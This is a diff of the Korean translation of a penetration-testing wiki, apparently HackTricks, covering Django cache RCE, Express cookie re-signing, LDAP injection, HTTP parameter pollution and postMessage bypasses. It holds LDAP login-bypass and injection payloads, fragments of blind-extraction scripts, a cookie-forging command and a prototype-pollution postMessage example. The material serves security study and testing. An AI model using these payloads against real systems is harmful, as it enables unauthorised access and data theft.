단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하기 위한 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어: ```tsx //app.component.ts @@ -576,7 +580,7 @@ this.router.navigate(['PATH']) this.router.navigateByUrl('URL') ``` -## 참고문헌 +## 참고 문헌 * [Angular](https://angular.io/) * [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1) @@ -601,3 +605,7 @@ this.router.navigateByUrl('URL') * [Angular Document](https://angular.io/api/common/DOCUMENT) * [Angular Location](https://angular.io/api/common/Location) * [Angular Router](https://angular.io/api/router/Router) + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index fa92f9015..261831254 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,12 @@ # Django -## Cache Manipulation to RCE -Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기본 서버에서 RCE로 상승시킬 수 있습니다**. +{{#include /banners/hacktricks-training.md}} -Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis injection 및 SQL injection)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있다는 점에 유의해야 합니다. +## 캐시 조작을 통한 RCE +Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**. + +Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있다는 점에 유의해야 합니다. 이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436 + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md b/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md deleted file mode 100644 index 625f9b015..000000000 --- a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md +++ /dev/null @@ -1 +0,0 @@ -# GWT - 구글 웹 툴킷 diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index f1c6d7883..068c12df0 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,8 +1,10 @@ # NodeJS Express +{{#include /banners/hacktricks-training.md}} + ## 쿠키 서명 -The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster)는 Express.js 쿠키 비밀의 테스트 및 재서명을 자동화하는 유틸리티입니다. +The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is a utility for automating the testing and re-signing of Express.js cookie secrets. ### 특정 이름의 단일 쿠키 ```bash @@ -16,14 +18,14 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom. ```bash cookie-monster -b -f cookies.json ``` -### 사용자 정의 단어 목록을 사용하여 배치 모드에서 여러 쿠키 테스트하기 +### 사용자 정의 단어 목록을 사용하여 배치 모드로 여러 쿠키 테스트하기 ```bash cookie-monster -b -f cookies.json -w custom.lst ``` -### 새로운 쿠키 인코딩 및 서명 +### Encode and sign a new cookie 비밀을 알고 있다면 쿠키에 서명할 수 있습니다. ```bash cookie-monster -e -f new_cookie.json -k secret ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md deleted file mode 100644 index e8d94ee01..000000000 --- a/src/online-platforms-with-api.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# [ProjectHoneypot](https://www.projecthoneypot.org/) - -IP가 의심스러운/악의적인 활동과 관련이 있는지 물어볼 수 있습니다. 완전히 무료입니다. - -# [**BotScout**](http://botscout.com/api.htm) - -IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인합니다. diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md deleted file mode 100644 index 0a744876b..000000000 --- a/src/other-web-tricks.md +++ /dev/null @@ -1,41 +0,0 @@ -# Other Web Tricks - -{{#include ./banners/hacktricks-training.md}} - -### Host header - -여러 번 백엔드는 **Host header**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 Host header에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 자신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). - -> [!WARNING] -> 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다**. - -### Session booleans - -때때로 일부 검증을 올바르게 완료하면 백엔드는 **세션의 보안 속성에 "True" 값을 가진 부울을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\ -그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는** 동일한 속성에 의존하는 **다른 리소스에 접근**을 시도할 수 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). - -### Register functionality - -이미 존재하는 사용자로 등록해 보세요. 또한 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요. - -### Takeover emails - -이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다. - -### Access Internal servicedesk of companies using atlassian - -{{#ref}} -https://yourcompanyname.atlassian.net/servicedesk/customer/user/login -{{#endref}} - -### TRACE method - -개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - -{{#include ./banners/hacktricks-training.md}} - -### Same-Site Scripting - -특정 DNS 잘못 구성으로 인해 localhost 또는 127.0.0.1로 해결되는 도메인 또는 서브도메인을 만날 때 발생합니다. 이는 공격자가 RFC2109 (HTTP State Management Mechanism) 동일 출처 제한을 우회하고 따라서 상태 관리 데이터를 탈취할 수 있게 합니다. 또한 교차 사이트 스크립팅을 허용할 수 있습니다. [여기서](https://seclists.org/bugtraq/2008/Jan/270) 더 읽을 수 있습니다. diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md deleted file mode 100644 index ab2d3f98c..000000000 --- a/src/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -**DNS 공격에 대한 추가 연구** - -**DNSSEC 및 DNSSEC3** - -**IPv6의 DNS** - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index c69b13139..416adf76f 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,7 +1,5 @@ # LDAP Injection -## LDAP Injection - {{#include ../banners/hacktricks-training.md}} ## LDAP Injection @@ -58,7 +56,7 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf ### Login Bypass -LDAP는 비밀번호를 저장하는 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다. +LDAP는 비밀번호를 저장하기 위한 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다. ```bash user=* password=* @@ -133,7 +131,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### 데이터 덤프 +#### Dump data ascii 문자, 숫자 및 기호를 반복할 수 있습니다: ```bash @@ -150,7 +148,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다: #### **유효한 LDAP 필드 발견** -LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). +LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다**. 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다**. [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests @@ -182,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v finish = True print() ``` -#### **특수 블라인드 LDAP 인젝션 (없이 "\*")** +#### **특수 블라인드 LDAP 인젝션 (without "\*")** ```python #!/usr/bin/python3 @@ -199,7 +197,7 @@ flag += char print("[+] Flag: " + flag) break ``` -### Google Dorks +### 구글 도크스 ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index 3fb20be77..db34bd8bf 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -1,10 +1,7 @@ # Parameter Pollution | JSON Injection -## Parameter Pollution - {{#include ../banners/hacktricks-training.md}} - ## HTTP Parameter Pollution (HPP) 개요 HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 매개변수를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 상당히 변경할 수 있으며, 클라이언트 측에서 관찰 가능한 영향을 미칠 수 있습니다. @@ -19,7 +16,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 - **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` -거래가 `accountA` 대신 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 가능성을 보여줍니다. +거래가 `accountA`가 아닌 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 가능성을 보여줍니다. #### **기술별 매개변수 파싱** @@ -41,7 +38,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 - **시나리오:** 애플리케이션이 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있도록 허용합니다. - **공격 벡터:** 공격자는 POST 요청에 추가 `api_key` 매개변수를 추가함으로써 API 키 업데이트 기능의 결과를 조작할 수 있음을 발견합니다. - **기술:** Burp Suite와 같은 도구를 사용하여 공격자는 하나의 합법적인 `api_key` 매개변수와 하나의 악의적인 `api_key` 매개변수를 포함하는 요청을 작성합니다. 서버는 마지막 발생만 처리하여 공격자가 제공한 값으로 API 키를 업데이트합니다. -- **결과:** 공격자는 피해자의 API 기능을 제어하게 되어, 무단으로 개인 데이터에 접근하거나 수정할 수 있습니다. +- **결과:** 공격자는 피해자의 API 기능을 제어하게 되어, 개인 데이터를 무단으로 접근하거나 수정할 수 있습니다. 이 예시는 API 키 관리와 같은 중요한 기능에서 안전한 매개변수 처리가 필요함을 더욱 강조합니다. @@ -50,7 +47,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 웹 기술이 중복 HTTP 매개변수를 처리하는 방식은 다르며, HPP 공격에 대한 취약성에 영향을 미칩니다: - **Flask:** 쿼리 문자열 `a=1&a=2`에서 `a=1`과 같은 첫 번째 매개변수 값을 채택하며, 초기 인스턴스를 후속 중복보다 우선시합니다. -- **PHP (Apache HTTP Server에서):** 반대로, 마지막 매개변수 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 매개변수를 원본보다 우선시함으로써 HPP 악용을 무심코 촉진할 수 있습니다. +- **PHP (Apache HTTP Server에서):** 반대로, 마지막 매개변수 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 매개변수를 원본보다 우선시함으로써 HPP 악용을 우연히 촉진할 수 있습니다. ## 기술별 매개변수 오염 @@ -60,7 +57,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

-1. 매개변수 이름의 %00 이후는 무시합니다. +1. 매개변수 이름 뒤의 %00을 무시합니다. 2. name\[]를 배열로 처리합니다. 3. \_GET은 GET 메서드를 의미하지 않습니다. 4. 마지막 매개변수를 선호합니다. @@ -81,7 +78,7 @@ HTTP Parameter Pollution (HPP)는 공격자가 HTTP 매개변수를 조작하여 2. POST RequestMapping & PostMapping에서 name\[]를 인식합니다. 3. name과 name\[]가 모두 존재할 경우 name을 선호합니다. 4. 매개변수를 연결합니다. 예: first,last. -5. POST RequestMapping & PostMapping에서 Content-Type으로 쿼리 매개변수를 인식합니다. +5. POST RequestMapping & PostMapping에서 Content-Type과 함께 쿼리 매개변수를 인식합니다. ### **NodeJS** 20.17.0 **및** Express 4.21.0 @@ -156,14 +153,14 @@ Serializer 1 (예: GoLang의 GoJay 라이브러리)은 다음을 생성합니다 - `test = 2` - `extra = ""` -Serializer 2 (예: Java의 JSON-iterator 라이브러리)는 다음을 생성합니다: +Serializer 2 (예: Java의 JSON-iterator 라이브러리)은 다음을 생성합니다: - `description = "Duplicate with comments"` - `extra = "/*"` - `extra2 = "*/"` - `test = 1` -또는, 주석을 간단히 사용하는 것도 효과적일 수 있습니다: +또는, 주석을 간단하게 사용하는 것도 효과적일 수 있습니다: ```ini obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/} ``` @@ -171,7 +168,7 @@ Java의 GSON 라이브러리: ```json { "description": "Comment support", "test": 1, "extra": "a" } ``` -Ruby의 simdjson 라이브러리: +루비의 simdjson 라이브러리: ```json { "description": "Comment support", "test": 2, "extra": "a", "extra2": "b" } ``` @@ -196,7 +193,7 @@ obj.toString() // {"test": 2} 0 9223372036854775807 ``` -어떤 불일치를 초래할 수 있습니다 +어떤 것이 불일치를 초래할 수 있습니다 ## References diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 0a80b6e6a..de39f9af9 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,10 +1,8 @@ # PostMessage 취약점 -## PostMessage 취약점 - {{#include ../../banners/hacktricks-training.md}} -## **PostMessage** 전송 +## 메시지 전송 **PostMessage** **PostMessage**는 메시지를 전송하기 위해 다음 함수를 사용합니다: ```bash @@ -38,7 +36,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ### iframe 공격 및 **targetOrigin**의 와일드카드 -[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호가 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\ +[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음)할 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\ 페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**. ```html @@ -69,40 +67,40 @@ if (event.origin !== "http://example.org:8080") return false ) ``` -Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example). +코드가 **가장 먼저** 하는 일이 **출처를 확인하는 것**이라는 점에 유의하세요. 이는 수신된 정보로 **민감한 작업**(예: 비밀번호 변경)을 수행할 경우 매우 **중요**합니다. **출처를 확인하지 않으면 공격자가 피해자가 이 엔드포인트로 임의의 데이터를 전송하게 할 수 있습니다**(이 예제에서 비밀번호 변경). -### Enumeration +### 열거 -In order to **find event listeners** in the current page you can: +현재 페이지에서 **이벤트 리스너를 찾기 위해** 다음을 수행할 수 있습니다: -- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_) -- **Execute** in the developer tools console: `getEventListeners(window)` +- `window.addEventListener` 및 `$(window).on` (_JQuery 버전_)에 대해 JS 코드를 **검색**합니다. +- 개발자 도구 콘솔에서 **실행**합니다: `getEventListeners(window)` ![](<../../images/image (618) (1).png>) -- **Go to** _Elements --> Event Listeners_ in the developer tools of the browser +- 브라우저의 개발자 도구에서 _Elements --> Event Listeners_로 **이동**합니다. ![](<../../images/image (396).png>) -- Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you. +- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) 또는 [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)와 같은 **브라우저 확장 프로그램**을 사용합니다. 이 브라우저 확장 프로그램은 **모든 메시지를 가로채고** 보여줍니다. -### Origin check bypasses +### 출처 확인 우회 -- **`event.isTrusted`** 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다. -- PostMessage 이벤트에서 출처 검증을 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예시는 다음과 같습니다: +- **`event.isTrusted`** 속성은 진짜 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다. +- PostMessage 이벤트에서 출처 검증을 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예는 다음과 같습니다: ```javascript "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") ``` -- `String.prototype.search()`의 **`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 제작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어: +- `String.prototype.search()`의 **`search()`** 메서드는 정규 표현식을 위해 설계되었으며, 문자열이 아닙니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 제작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` - **`match()`** 함수는 `search()`와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다. -- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씌우기 때문에 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다: +- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 아래 예제에서 이를 보여줍니다: - 예상 실패: @@ -120,19 +118,19 @@ result = u(new Error("'\"\\")) result.message // "'"\" ``` -이 취약성의 맥락에서 `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다. +이 취약성의 맥락에서 `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정리되지 않아 잠재적인 보안 위험을 초래합니다. - JavaScript의 `document.domain` 속성은 스크립트에 의해 설정되어 도메인을 단축할 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다. ### e.origin == window.origin 우회 -**sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다. +**샌드박스 iframe** 내에 웹 페이지를 삽입할 때 %%%%%%를 사용하여 iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **샌드박스 속성** 및 보안과 기능에 대한 그 의미를 다룰 때 특히 중요합니다. -**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정된다는 것을 의미합니다. +샌드박스 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치하게 됨을 의미합니다. -따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다. +따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 메시지가 **`postMessage`**를 사용하여 전송되면, 송신 및 수신 양쪽 모두의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다. -더 많은 정보는 **읽어보세요**: +자세한 내용은 **읽어보세요**: {{#ref}} bypassing-sop-with-iframes-1.md @@ -140,14 +138,14 @@ bypassing-sop-with-iframes-1.md ### e.source 우회 -메시지가 스크립트가 수신 대기 중인 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다): +메시지가 스크립트가 수신 대기 중인 동일한 창에서 온 것인지 확인할 수 있습니다(특히 **브라우저 확장 프로그램의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { return } ``` -메시지의 **`e.source`**를 null로 강제할 수 있습니다. **iframe**을 생성하여 **postMessage**를 **전송**하고 **즉시 삭제**하면 됩니다. +메시지의 **`e.source`**를 null로 만들기 위해 **postMessage**를 **전송**하고 **즉시 삭제되는** **iframe**을 생성할 수 있습니다. 자세한 정보는 **읽어보세요:** @@ -157,7 +155,7 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header 우회 -이러한 공격을 수행하기 위해서는 이상적으로 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\ +이러한 공격을 수행하기 위해 이상적으로는 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\ 이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다: ```html ` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다. +이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영될 것입니다** 또는 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 수 있습니다. ### \` 내에 삽입되면, `` 내에 삽입된 경우, ` ``` -이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다. +이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 